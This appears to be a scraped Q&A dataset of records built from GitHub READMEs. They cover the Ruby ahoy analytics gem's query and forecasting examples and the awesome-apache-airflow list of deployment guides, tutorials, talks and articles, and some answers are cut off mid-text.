{"id": "gh_541daf9d49c8", "question": "How to: Explore the Data", "question_body": "About ankane/ahoy", "answer": "[Blazer](https://github.com/ankane/blazer) is a great tool for exploring your data.\n\nWith Active Record, you can do:\n\n```ruby\nAhoy::Visit.group(:search_keyword).count\nAhoy::Visit.group(:country).count\nAhoy::Visit.group(:referring_domain).count\n```\n\n[Chartkick](https://www.chartkick.com/) and [Groupdate](https://github.com/ankane/groupdate) make it easy to visualize the data.\n\n```erb\n<%= line_chart Ahoy::Visit.group_by_day(:started_at).count %>\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388120"}
{"id": "gh_189348792187", "question": "How to: Querying Events", "question_body": "About ankane/ahoy", "answer": "Ahoy provides a few methods on the event model to make querying easier.\n\nTo query on both name and properties, you can use:\n\n```ruby\nAhoy::Event.where_event(\"Viewed product\", product_id: 123).count\n```\n\nOr just query properties with:\n\n```ruby\nAhoy::Event.where_props(product_id: 123, category: \"Books\").count\n```\n\nGroup by properties with:\n\n```ruby\nAhoy::Event.group_prop(:product_id, :category).count\n```\n\nNote: MySQL and MariaDB always return string keys (including `\"null\"` for `nil`) for `group_prop`.", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388126"}
{"id": "gh_39c8fb002c18", "question": "How to: Forecasting", "question_body": "About ankane/ahoy", "answer": "To forecast future visits and events, check out [Prophet](https://github.com/ankane/prophet).\n\n```ruby\ndaily_visits = Ahoy::Visit.group_by_day(:started_at).count # uses Groupdate\nProphet.forecast(daily_visits)\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388135"}
{"id": "gh_0e283423b5b8", "question": "How to: Anomaly Detection", "question_body": "About ankane/ahoy", "answer": "To detect anomalies in visits and events, check out [AnomalyDetection.rb](https://github.com/ankane/AnomalyDetection.rb).\n\n```ruby\ndaily_visits = Ahoy::Visit.group_by_day(:started_at).count # uses Groupdate\nAnomalyDetection.detect(daily_visits, period: 7)\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388141"}
{"id": "gh_eeb2629367b1", "question": "How to: Breakout Detection", "question_body": "About ankane/ahoy", "answer": "To detect breakouts in visits and events, check out [Breakout](https://github.com/ankane/breakout).\n\n```ruby\ndaily_visits = Ahoy::Visit.group_by_day(:started_at).count # uses Groupdate\nBreakout.detect(daily_visits)\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388146"}
{"id": "gh_95d9fced6985", "question": "How to: Recommendations", "question_body": "About ankane/ahoy", "answer": "To make recommendations based on events, check out [Disco](https://github.com/ankane/disco#ahoy).", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4425, "answer_score": 10, "has_code": false, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388153"}
{"id": "gh_22ce027b12e6", "question": "How to: Contributing", "question_body": "About ankane/ahoy", "answer": "Everyone is encouraged to help improve this project. Here are a few ways you can help:\n\n- [Report bugs](https://github.com/ankane/ahoy/issues)\n- Fix bugs and [submit pull requests](https://github.com/ankane/ahoy/pulls)\n- Write, clarify, or fix documentation\n- Suggest or add new features\n\nTo get started with development:\n\n```sh\ngit clone https://github.com/ankane/ahoy.git\ncd ahoy\nbundle install\nbundle exec rake test\n```\n\nTo test different adapters, use:\n\n```sh\nADAPTER=postgresql bundle exec rake test\nADAPTER=mysql2 bundle exec rake test\nADAPTER=mongoid bundle exec rake test\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388164"}
{"id": "gh_a8b83eb1d852", "question": "How to: Awesome Apache Airflow", "question_body": "About jghoman/awesome-apache-airflow", "answer": "![contrib badge](https://img.shields.io/github/contributors/jghoman/awesome-apache-airflow.svg) ![GitHub commit activity](https://img.shields.io/github/commit-activity/m/jghoman/awesome-apache-airflow?style=plastic)\n\nThis is a curated list of resources about [Apache Airflow](https://airflow.apache.org/).  Please feel free to contribute any items that should be included. Items are generally added at the top of each section so that more fresh items are featured more prominently.", "tags": ["jghoman"], "source": "github_gists", "category": "jghoman", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 3872, "answer_score": 10, "has_code": false, "url": "https://github.com/jghoman/awesome-apache-airflow", "collected_at": "2026-01-17T13:02:53.597382"}
{"id": "gh_4ba9a59568f2", "question": "How to: Vital links", "question_body": "About jghoman/awesome-apache-airflow", "answer": "- [Source code](https://github.com/apache/airflow/) (latest stable release [1.10.12](https://github.com/apache/airflow/tree/1.10.12))\n- [Documentation](https://airflow.apache.org/) (also the official website)\n- [Confluence page](https://cwiki.apache.org/confluence/display/AIRFLOW/Airflow+Home)\n- [![Twitter Follow](https://img.shields.io/twitter/follow/apacheairflow?style=social)](https://twitter.com/ApacheAirflow)\n- [Slack workspace](https://apache-airflow-slack.herokuapp.com/)", "tags": ["jghoman"], "source": "github_gists", "category": "jghoman", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 3872, "answer_score": 10, "has_code": false, "url": "https://github.com/jghoman/awesome-apache-airflow", "collected_at": "2026-01-17T13:02:53.597401"}
{"id": "gh_657523af1f8c", "question": "How to: Airflow deployment solutions", "question_body": "About jghoman/awesome-apache-airflow", "answer": "- [Installing Airflow on IBM Cloud](https://github.com/KissConsult/Apache-Airflow) - Quick and easy deployment on IBM Cloud with IBM [Bitnami Charts](https://github.com/bitnami/charts)\n- [Three ways to run Airflow on Kubernetes](https://fullstaq.com/blog/three-ways-to-run-airflow-on-kubernetes/) - [Tim van de Keer](https://www.linkedin.com/in/tim-van-de-keer-bb5a1966) walks through several methods for deploying Airflow on Kubernetes.\n- [Apache Airflow Multi-Tier Free Deployment on Azure](https://azure.microsoft.com/en-us/blog/bitnami-apache-airflow-multi-tier-now-available-in-azure-marketplace/) - A free Azure Resource Manager (ARM) template by Bitnami providing a one-click solution for Airflow deployment on Azure for production use-cases.\n- [KubernetesExecutor Helm Chart](https://github.com/tekn0ir/airflow-chart) - A lean Helm Chart using the KubernetesExecutor for a more k8s native experience and complementary [KubernetesExecutor Docker Image](https://github.com/tekn0ir/airflow-docker).\n- [Stable Celery Helm Chart](https://github.com/helm/charts/tree/master/stable/airflow) - Curated Helm Chart in the official stable chart repository.\n- [Puckel's Docker Image](https://github.com/puckel/docker-airflow) - [@Puckel_](https://twitter.com/Puckel_)'s well-crafted Docker image has become the base for many Airflow installations.  It is regularly updated and closely tracks the official Apache releases.\n- [Kubernetes Custom Operator for Deploying Airflow](https://github.com/GoogleCloudPlatform/airflow-operator) - Kubernetes Custom controller (also called operator pattern) for deploying Airflow on Kubernetes.\n- [airflow-pipeline](https://github.com/datagovsg/airflow-pipeline) - Airflow Docker container that comes preconfigured for Spark and Hadoop.  It can be docker pulled at ``datagovsg/airflow-pipeline``.\n- [aws-airflow-stack](https://github.com/villasv/aws-airflow-stack) - An AWS based Airflow cluster deployment with CeleryExecutor. Deploys after a few clicks with CloudFormation.\n- [kube-airflow](https://github.com/mumoshu/kube-airflow) - This repository contains both an Airflow Docker image (that appears to have been based on Puckel's work) and Kubernetes service definition.  [mumoshu](https://github.com/mumoshu)'s repository has not been recently updated, but there are numerous forks that may be based on more recent releases.\n- [airflow-on-kubernetes](https://github.com/rolanddb/airflow-on-kubernetes) - A guide on all relevant resources, scripts and projects that relate to running Airflow on Kubernetes.\n- [airflow-k8s-executor-on-GKE](https://github.com/EamonKeane/airflow-GKE-k8sExecutor-helm) - A detailed tutorial to get a scalable, low maintenance airflow kubernetes executor environment deployed on [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine/) with [helm](https://helm.sh/).\n- [airflow-cookbook](https://github.com/bahchis/airflow-cookbook) - Chef cookbook for deploying Airflow.\n- [Running Airflow on top of Apache Mesos](http://agrajmangal.in/blog/big-data/running-airflow-on-top-of-apache-mesos/) - Blog describing how to configure [Mesos](http://mesos.apache.org/) to run all of the Airflow componenents.\n- [Integrating Apache Airflow with Apache Ambari](https://medium.com/@mykolamykhalov/integrating-apache-airflow-with-apache-ambari-ccab2c90173) - [Mykola Mykhalov](https://www.linkedin.com/in/mykola-mykhalov-9079a8107/) walks through using [Apache Ambari](https://ambari.apache.org/) to configure and deploy an Airflow instance.\n- [Astronomer Platform](https://github.com/astronomerio/astronomer) - Apache Airflow as a Service on Kubernetes. For more information visit https://www.astronomer.io.\n- [Bitnami Airflow Docker image](https://github.com/bitnami/bitnami-docker-airflow) - A secure and up-to-date docker image for Airflow maintained by Bitnami.\n- [Bitnami Airflow Scheduler Docker image](https://github.com/bitnami/bitnami-docker-airflow-scheduler) - A secure and up-to-date docker image for Airflow Scheduler maintained by Bitnami.\n- [Bitnami Airflow Worker Docker image](https://github.com/bitnami/bitnami-docker-airflow-worker) - A secure and up-to-date docker image for Airflow Worker maintained by Bitnami. A CeleryExecutor docker-compose deployment is available [here](https://github.com/bitnami/bitnami-docker-airflow-worker/blob/master/docker-compose.yml).\n- [Distribute & deploy Apache Airflow via Python PEX files](https://github.com/msumit/airflow-pex) - Example repo with steps to bundle, distribute, & deploy Apache Airflow as PEX files.\n- [Introducing KEDA for Airflow](https://www.astronomer.io/blog/the-keda-autoscaler/) - How to use KEDA scaler system to enable autoscaling of celery workers based on data stored in the Airflow metadata database.\n- [Airflow-Component](https://github.com/noelmcloughlin/airflow-component#lightweight-federated-apache-airflow-installer) - Lightweight installer of federated Airflow-Airflow (RabbitMQ) reference architectrure on Compute node(s).", "tags": ["jghoman"], "source": "github_gists", "category": "jghoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3872, "answer_score": 10, "has_code": false, "url": "https://github.com/jghoman/awesome-apache-airflow", "collected_at": "2026-01-17T13:02:53.597417"}
{"id": "gh_8bb918bc9df6", "question": "How to: Introductions and tutorials", "question_body": "About jghoman/awesome-apache-airflow", "answer": "- [Apache Airflow Monitoring Metrics](https://youtu.be/xyeR_uFhnD4) - A two-part series by [maxcotec](https://maxcotec.com) on how you can utilize existing Airflow statsd metrics to monitor your airflow deployment on Grafana dashboard via Prometheus. Also learn how to create custom metrics.\n- [Introduction to Airflow](https://www.youtube.com/playlist?list=PLzKRcZrsJN_xcKKyKn18K7sWu5TTtdywh) - A web tutorial series by [maxcotec](https://maxcotec.com) for beginners and intermediate users of Apache Airflow.\n- [ETL with Apache Airflow for Data Analysis on Transaction Data](https://github.com/KimaruThagna/ml-pipelines-airflow). [Kimaru Thagana](https://www.linkedin.com/in/kimaru-thagana-4920b5181/) covers a practical case of doing an ETL process using Apache Airflow using a dummy ecommerce store's transactional, user and product data. The data is served via a flask API.\n- [Start Building Better Data Pipelines With apache Airflow](https://blog.delaplex.com/start-building-better-data-pipelines-with-apache-airflow) 2020-Oct - Naman Gupta covers the basics of Airflow and its concepts.\n- [Airflow Repository Template](https://github.com/soggycactus/airflow-repo-template) - A boilerplate repository for developing locally with Airflow, with linting & tests for valid DAGs and plugins. Just clone and run `make start-airflow` to get started! Add some CI jobs to deploy your code and you're done.\n- [How Apache Airflow Distributes Jobs on Celery workers](https://blog.sicara.com/using-airflow-with-celery-workers-54cb5212d405) - A short description of the steps taken by a task instance, from scheduling to success, in a distributed architecture.\n- [Remote spark-submit to YARN running on EMR](https://medium.com/@tamizhgeek/remote-spark-submit-toyarn-running-on-emr-9804b89d82d2) - [Azhaguselvan](https://github.com/tamizhgeek) walks through submitting Spark jobs to existing EMR clusters with Airflow.\n- [Running Airflow on top of Apache Mesos](http://agrajmangal.in/blog/big-data/running-airflow-on-top-of-apache-mesos/) and its follow-up, [Mesos, Airflow & Docker](http://agrajmangal.in/blog/big-data/mesos-airflow-docker/) by [Agraj Mangal](https://twitter.com/agrajm) is a quick overview of running Airflow atop Apache Mesos.\n- [Dustin Stansbury](https://twitter.com/corrcoef) of [Quizlet](https://quizlet.com/) has written a four-part series that covers what workflow managers do in general, how Quizlet picked Airflow, a tour of Airflow's key concepts, and how Quizlet is now using Airflow in practice:\n  - [Beyond CRON: an introduction to Workflow Management Systems](https://medium.com/@dustinstansbury/beyond-cron-an-introduction-to-workflow-management-systems-19987afcdb5e)\n  - [Why Quizlet chose Apache Airflow for executing data workflows](https://towardsdatascience.com/why-quizlet-chose-apache-airflow-for-executing-data-workflows-3f97d40e9571)\n  - [Understanding Apache Airflow’s key concepts](https://medium.com/@dustinstansbury/understanding-apache-airflows-key-concepts-a96efed52b1a)\n  - [How Quizlet uses Apache Airflow in practice](https://medium.com/@dustinstansbury/how-quizlet-uses-apache-airflow-in-practice-a903cbb5626d)\n- [Integrating Apache Airflow with Databricks](https://databricks.com/blog/2017/07/19/integrating-apache-airflow-with-databricks.html) - While this tutorial is focused specifically on Databricks' Spark solutions, it does have a reasonable overview of Airflow basics and demonstrates how a third party solution can quickly integrate into Airflow.\n- [Apache Airflow 2.0 Tutorial](https://turbaszek.medium.com/apache-airflow-2-0-tutorial-41329bbf7211) - This article discusses the basic concepts that stand behind Airflow and discusses the problems it solves.\n- [Testing and debugging Apache Airflow](https://blog.godatadriven.com/testing-and-debugging-apache-airflow) - Article explaining how to apply unit testing, mocking and debugging to Airflow code.\n- [Get started developing workflows with Apache Airflow](http://michal.karzynski.pl/blog/2017/03/19/developing-workflows-with-apache-airflow/) - This brief introductory tutorial covers how to create data pipeline and processing workflow using DAG, operators, Sensor, using Xcoms to communicate between operators.\n- [Get started with Airflow + Google Cloud Platform + Docker](https://medium.com/@junjiejiang94/get-started-with-airflow-google-cloud-platform-docker-a21c46e0f797) - Step-by-step introduction by [Jayce Jiang](https://medium.com/@junjiejiang94).\n- [How to develop data pipeline in Airflow through TDD (test-driven development)](https://blog.magrathealabs.com/how-to-develop-data-pipeline-in-airflow-through-tdd-test-driven-development-c3333439f358) - Learn how to build a sales data pipeline using TDD step-by-step and in the end how to configure a simple CI workflow using Github Actions.", "tags": ["jghoman"], "source": "github_gists", "category": "jghoman", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3872, "answer_score": 10, "has_code": false, "url": "https://github.com/jghoman/awesome-apache-airflow", "collected_at": "2026-01-17T13:02:53.597444"}
{"id": "gh_d5f746671eec", "question": "How to: Airflow Summit 2020 videos", "question_body": "About jghoman/awesome-apache-airflow", "answer": "*The first [Airflow Summit 2020](https://airflowsummit.org/) was held in July 2020. It was a truly global,\nfully online event that was co-hosted by 9 Airflow Meetups from all over the world ([Melbourne](https://www.meetup.com/Melbourne-Apache-Airflow-Meetup/),\n[Tokyo](https://www.meetup.com/Tokyo-Apache-Airflow-incubating-Meetup),\n[Bangalore](https://www.meetup.com/Bangalore-Apache-Airflow-Meetup/),\n[Warsaw](https://www.meetup.com/Warsaw-Airflow-Meetup/),\n[Amsterdam](https://www.meetup.com/Amsterdam-Airflow-meetup/),\n[London](https://www.meetup.com/London-Apache-Airflow-Meetup/),\n[NYC](https://www.meetup.com/NYC-Apache-Airflow-Meetup/),\n[BayArea](https://www.meetup.com/Bay-Area-Apache-Airflow-Incubating-Meetup/)).*\n\n*It featured 40+ talks and three workshops. You can check out the talk recordings as a YouTube\n[Airflow Summit 2020 Playlist](https://www.youtube.com/playlist?list=PLGudixcDaxY3RGLSlWoN_cEEXhIT1OPmj)\nor see the individual talks here:*\n\n- [Keynote: Airflow then and now](https://youtu.be/GB2f7ZhRCho) ![Activity badge](https://img.shields.io/youtube/views/GB2f7ZhRCho)\n- [Scheduler as a service - Apache Airflow at EA Digital Platform](https://youtu.be/u00wmcHe8ow) ![Activity badge](https://img.shields.io/youtube/views/u00wmcHe8ow)\n- [Keynote: How large companies use Airflow for ML and ETL pipelines](https://youtu.be/428AiCBMZoQ) ![Activity badge](https://img.shields.io/youtube/views/428AiCBMZoQ)\n- [Data DAGs with lineage for fun and for profit](https://youtu.be/l_vVxOdvujg) ![Activity badge](https://img.shields.io/youtube/views/l_vVxOdvujg)\n- [Airflow on Kubernetes: Containerizing your workflows](https://youtu.be/3VDeKmxHWYA) ![Activity badge](https://img.shields.io/youtube/views/3VDeKmxHWYA)\n- [Data flow with Airflow @ PayPal](https://youtu.be/kAtaj_s4f-w) ![Activity badge](https://img.shields.io/youtube/views/kAtaj_s4f-w)\n- [Democratised data workflows at scale](https://youtu.be/Cd4-YtHYT9M) ![Activity badge](https://img.shields.io/youtube/views/Cd4-YtHYT9M)\n- [Migrating Airflow-based Spark jobs to Kubernetes - the native way](https://youtu.be/i79OsoLUx0k) ![Activity badge](https://img.shields.io/youtube/views/i79OsoLUx0k)\n- [Keynote: Future of Airflow](https://youtu.be/YLsGVFB8Pws) ![Activity badge](https://img.shields.io/youtube/views/YLsGVFB8Pws)\n- [Run Airflow DAGs in a secure way](https://youtu.be/QhnItssm4yU) ![Activity badge](https://img.shields.io/youtube/views/QhnItssm4yU)\n- [Keynote: Making Airflow a sustainable project through D&I](https://youtu.be/wxn9ta13Gbo) ![Activity badge](https://img.shields.io/youtube/views/wxn9ta13Gbo)\n- [Airflow CI/CD: Github to Cloud Composer (safely)](https://youtu.be/ZgTf523XM0g) ![Activity badge](https://img.shields.io/youtube/views/ZgTf523XM0g)\n- [Advanced Apache Superset for Data Engineers](https://youtu.be/Mhai7sVU244) ![Activity badge](https://img.shields.io/youtube/views/Mhai7sVU244)\n- [Demo: Reducing the lines, a visual DAG editor](https://youtu.be/I4nFCqEnOJc) ![Activity badge](https://img.shields.io/youtube/views/I4nFCqEnOJc)\n- [AIP-31: Airflow functional DAG definition](https://youtu.be/II4Ip81T3qc) ![Activity badge](https://img.shields.io/youtube/views/II4Ip81T3qc)\n- [Autonomous driving with Airflow](https://youtu.be/wEq1FGe6oBY) ![Activity badge](https://img.shields.io/youtube/views/wEq1FGe6oBY)\n- [From cron to Airflow on Kubernetes: A startup story](https://youtu.be/giQReCd7jp8) ![Activity badge](https://img.shields.io/youtube/views/giQReCd7jp8)\n- [Achieving Airflow Observability](https://youtu.be/Hc4pYAUL6Qs) ![Activity badge](https://img.shields.io/youtube/views/Hc4pYAUL6Qs)\n- [Machine Learning with Apache Airflow](https://youtu.be/N_3RQeqySE0) ![Activity badge](https://img.shields.io/youtube/views/N_3RQeqySE0)\n- [Airflow: A beast character in the gaming world](https://youtu.be/BH0ut33zp9A) ![Activity badge](https://img.shields.io/youtube/views/BH0ut33zp9A)\n- [Effective Cross-DAG dependency](https://youtu.be/p66GcO0LbFQ) ![Activity badge](https://img.shields.io/youtube/views/p66GcO0LbFQ)\n- [What open source taught us about business](https://youtu.be/KIEMEYM2PEs) ![Activity badge](https://img.shields.io/youtube/views/KIEMEYM2PEs)\n- [Data engineering hierarchy of needs](https://youtu.be/SvnTyDiZOzQ) ![Activity badge](https://img.shields.io/youtube/views/SvnTyDiZOzQ)\n- [Building reuseable and trustworthy ELT pipelines (A templated approach)](https://youtu.be/R4bp3_VyJ70) ![Activity badge](https://img.shields.io/youtube/views/R4bp3_VyJ70)\n- [Testing Airflow workflows - ensuring your DAGs work before going into production](https://youtu.be/ANJnYbLwLjE) ![Activity badge](https://img.shields.io/youtube/views/ANJnYbLwLjE)\n- [Adding an executor to Airflow: A contributor overflow exception](https://youtu.be/RKEmAshcreE) ![Activity badge](https://img.shields.io/youtube/views/RKEmAshcreE)\n- [Migration to Airflow backport providers](https://youtu.be/1SSlxAcOEso) ![Activity badge](https://img.shields.io/youtube/views/1SSlxAcOEso)\n- [From Zero to Airflow: b", "tags": ["jghoman"], "source": "github_gists", "category": "jghoman", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3872, "answer_score": 10, "has_code": false, "url": "https://github.com/jghoman/awesome-apache-airflow", "collected_at": "2026-01-17T13:02:53.597469"}
{"id": "gh_6284dd73f28f", "question": "How to: Best practices, lessons learned and cool use cases", "question_body": "About jghoman/awesome-apache-airflow", "answer": "- [How to Best Use DuckDB with Apache Airflow](https://medium.com/apache-airflow/how-to-best-use-duckdb-with-apache-airflow-63a079160d5d) - Tips on integrating [DuckDB](https://duckdb.org/) into Airflow jobs.\n- [Airflow Dag Python Package Management](https://www.youtube.com/watch?v=9pykChPp-X4&t=121s) - Managing python package dependencies across 100+ dags can become painful. It's hard to keep track of which packages are used by which dag, and hard to clean up during DAG removal/upgrade. Learn how KubernetesPodOperator and DockerOperator can fix this. \n- [Airflow Dag Management & Versioning](https://youtu.be/a-4yRne3ba4) - Efficently manage DAGs release process by using Git Submodules\n- [Testing in Airflow Part 2](https://medium.com/@chandukavar/testing-in-airflow-part-2-integration-tests-and-end-to-end-pipeline-tests-af0555cd1a82) - [Chandu Kavar](https://twitter.com/chandukavar) and [Sarang Shinde](https://www.linkedin.com/in/sarang-shinde-219a4873/) have explained Integration Tests and End-to-End Pipeline Tests.\n- [Upgrading & Scaling Airflow at Robinhood](https://robinhood.engineering/upgrading-scaling-airflow-at-robinhood-5b625dfaa2ee) - [Abishek Ray](https://www.linkedin.com/in/abhishek-ray-29210145/) describes how Robinhood tackled upgrading its production Airflow while minimizing downtime.\n- [We're all using Airflow wrong and how to fix it](https://medium.com/bluecore-engineering/were-all-using-airflow-wrong-and-how-to-fix-it-a56f14cb0753) - [Jessica Laughlin](https://www.jldlaughlin.com/) of [Bluecore](https://www.bluecore.com/) shares three engineering problems associated with the Airflow design and how to solve them by using the [KubernetesPodOperator](https://github.com/apache/airflow/blob/v1-10-stable/airflow/contrib/operators/kubernetes_pod_operator.py) in two design patterns.\n- [Getting started with Data Lineage](https://medium.com/dailymotion/getting-started-with-data-lineage-6307b2b429b3) - [Germain Tanguy](https://www.linkedin.com/in/germain-tanguy/) of [Dailymotion](https://www.dailymotion.com/) shares a data lineage prototype integrated to Apache Airflow.\n- [Collaboration between data engineers, data analysts and data scientists](https://medium.com/dailymotion/collaboration-between-data-engineers-data-analysts-and-data-scientists-97c00ab1211f) - [Germain Tanguy](https://www.linkedin.com/in/germain-tanguy/) of [Dailymotion](https://www.dailymotion.com/) shares how to efficiently release in production by collaboration with Apache Airflow.\n- [Using Apache Airflow’s Docker Operator with Amazon’s Container Repository](https://www.lucidchart.com/techblog/2019/03/22/using-apache-airflows-docker-operator-with-amazons-container-repository/) - [Brian Campbell](https://www.linkedin.com/in/bvcampbell3) of [Lucid](https://www.lucidchart.com/) has tips for integrating AWS's [ECR](https://aws.amazon.com/ecr/) service with Airflow's DockerOperator.\n- [Airflow: Lesser Known Tips, Tricks, and Best Practises](https://medium.com/datareply/airflow-lesser-known-tips-tricks-and-best-practises-cf4d4a90f8f) - [Kaxil Naik](https://www.linkedin.com/in/kaxil/) has explained the lesser-known yet very useful tips and best practises on using Airflow.\n- [boundary-layer:Declarative Airflow Workflows](https://codeascraft.com/2018/11/14/boundary-layer%E2%80%89-declarative-airflow-workflows/) - [Kevin McHale](https://www.linkedin.com/in/mchalek) has explained open source project boundary-layer which generates airflow dag with declarative workflows.\n- [Testing in Airflow Part 1](https://medium.com/@chandukavar/testing-in-airflow-part-1-dag-validation-tests-dag-definition-tests-and-unit-tests-2aa94970570c) - [Chandu Kavar](https://twitter.com/chandukavar) has explained different categories of tests in Airflow. It includes DAG Validation Tests, DAG Definition Tests, and unit tests.\n- [Improving Airflow UI Security](https://wecode.wepay.com/posts/improving-airflow-ui-security) - WePay's [Joy Gao](https://twitter.com/joygao) breaks down the need for Role Based Access Controls (RBAC) and how she introduced it to Airflow.\n- [How to Create a Workflow in Apache Airflow to Track Disease Outbreaks in India](https://blog.socialcops.com/engineering/apache-airflow-disease-outbreaks-india/) - [Vinayak Mehta](https://twitter.com/vortex_ape) details how [SocialCops](https://socialcops.com/) uses Airflow to scrape India's Ministry of Health and Family Affairs to generate derived data on possible disease outbreaks.\n- [Airflow, Meta Data Engineering, and a Data Platform for the World’s Largest Democracy](https://blog.socialcops.com/technology/engineering/airflow-meta-data-engineering-disha/) - [Vinayak Mehta](https://twitter.com/vortex_ape) talks about identifying data engineering patterns (meta data engineering) to automate DAG generation and how that helped [SocialCops](https://socialcops.com/) to power DISHA, a national data platform where Indian MPs and MLAs monitor the progress of 42 national level schemes.\n- [Lessons learnt while Airflo", "tags": ["jghoman"], "source": "github_gists", "category": "jghoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3872, "answer_score": 10, "has_code": false, "url": "https://github.com/jghoman/awesome-apache-airflow", "collected_at": "2026-01-17T13:02:53.597507"}
{"id": "gh_0fb8a5b38168", "question": "How to: Books, blogs, podcasts, and such", "question_body": "About jghoman/awesome-apache-airflow", "answer": "- [Data Pipelines with Apache Airflow](https://www.manning.com/books/data-pipelines-with-apache-airflow) - A Manning book (Early Access September 2019) on Airflow.\n- [The Airflow Podcast](https://soundcloud.com/the-airflow-podcast) - A semiregular podcast discussing all things Airflow.\n- [Maxime Beauchemin](https://medium.com/@maximebeauchemin) - Maxime's blog on medium that gives insight into the philosophy behind Apache Airflow.\n- [Robert Chang](https://medium.com/@rchang) - Blog posts about data engineering with Apache Airflow, explains why and has examples in code.\n- [Handling Airflow logs with Kubernetes Executor](https://szeevs.medium.com/handling-airflow-logs-with-kubernetes-executor-25c11ea831e4) - A blogpost that outlines how you can set up remote S3 logging when using KubernetesExecutor, without creating complex infrastructure.\n- [Airflow 2.0: DAG Authoring Redesigned](https://turbaszek.medium.com/airflow-2-0-dag-authoring-redesigned-651edc397178) - Blog post about new ways of writing DAGs in Airflow 2.0.\n- [Airflow 2.0 Providers](https://higrys.medium.com/airflow-2-0-providers-1bd21ba3bd93) - Blog post about providers packages in Airflow 2.0.", "tags": ["jghoman"], "source": "github_gists", "category": "jghoman", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3872, "answer_score": 10, "has_code": false, "url": "https://github.com/jghoman/awesome-apache-airflow", "collected_at": "2026-01-17T13:02:53.597516"}
{"id": "gh_16c63db801f5", "question": "How to: Slide deck presentations and online videos", "question_body": "About jghoman/awesome-apache-airflow", "answer": "- 2020-Feb: [Apache Airflow @ Umuzi.org](https://www.youtube.com/watch?IAmWKZDmvek) ![Activity badge](https://img.shields.io/youtube/views/IAmWKZDmvek) - [Sheena O'Connell](https://twitter.com/sheena_oconnell) discusses how South Africa-based tech bootcamp [Umuzi](https://www.umuzi.org/) uses Airflow.\n- [Apache Airflow YouTube tutorials](https://www.youtube.com/playlist?list=PL79i7SgJCJ9hu5GqcA091h6zuewmsvSyy) - [Marc Lamberti](https://twitter.com/marclambertiml) has created a series of YouTube tutorials covering many aspects of Airflow concepts, configuration and deployment.\n- [Advanced Data Engineering Patterns with Apache Airflow](https://www.youtube.com/watch?23_1WlxGGM4) ![Activity badge](https://img.shields.io/youtube/views/23_1WlxGGM4) - Video of [Maxime Beauchemin](https://medium.com/@maximebeauchemin)'s talk that briefly introduces Airflow and then goes into more advanced use cases, including self-servive SQL queries, building A/B testing metrics frameworks and machine learning feature extraction all via Airflow.  The slides are available separately [here](https://prezi.com/p/adxlaplcwzho/advanced-data-engineering-patterns-with-apache-airflow/).\n- [Modern Data Pipelines with Apache Airflow](https://blog.tedmiston.com/momentum-2018-airflow-talk/) - A talk given by [Taylor Edmiston](https://twitter.com/kicksopenminds) and [Andy Cooper](https://twitter.com/andscoop) from Astronomer.io at Momentum Dev Con 2018 on getting started with Airflow, custom components, example DAGs, and the Astronomer Airflow CLI.\n- [Building Better Data Pipelines using Apache Airflow](https://www.slideshare.net/r39132/building-better-data-pipelines-using-apache-airflow-94060954) - Slides from [Sid Anand](https://twitter.com/r39132)'s talk at QCon 18 with a thorough overview of Airflow and its architecture.\n- [Airflow and Spark Streaming at Astronomer](https://paper.dropbox.com/doc/Airflow-Spark-talk-v2.0-5own4Nlz8MhdwKQ8QhIqj?_tk=share_copylink) - How Astronomer uses dynamic DAGs to run Spark Streaming jobs with Airflow.\n- [Apache Airflow in the Cloud: Programmatically orchestrating workloads with Python](https://www.slideshare.net/kaxil/apache-airflow-in-the-cloud-programmatically-orchestrating-workloads-with-python-pydata-london-2018-95391267) - Slides from [Kaxil Naik](https://twitter.com/kaxil)'s & [Satyasheel](https://twitter.com/ss6012) talk at PyData London 18 introducing the basics of Airflow and how to orchestrate workloads on Google Cloud Platform (GCP).\n- [Developing elegant workflows in Python code with Apache Airflow](https://eventil.com/presentations/j2sK9R) - [Michał Karzyński](https://twitter.com/postrational) at [Europython](https://ep2018.europython.eu/) gives a brief introduction to Airflow concepts including the role of workflow managers, DAGs and operators.  Link includes both video and slides.\n- [Data Pipeline Management](https://www.youtube.com/watch?mjn1LAZ_Y38) ![Activity badge](https://img.shields.io/youtube/views/mjn1LAZ_Y38) - [Ben Goldberg](https://www.linkedin.com/in/benjamin-goldberg-50247169/) walks the Chicago Kubernetes Meetup through how [SpotHero](https://spothero.com/) uses Airflow. Additionally, Ben has a very [complete slidedeck](https://docs.google.com/presentation/d/1hc12cFs5TmEajLwYNASLwz_C17Q5tyd__6oXzI16A9A/edit#slide=id.g320d39a12c_0_1017) of how Airflow plays within Kubernetes.\n- [How I learned to time travel, or, data pipelining and scheduling 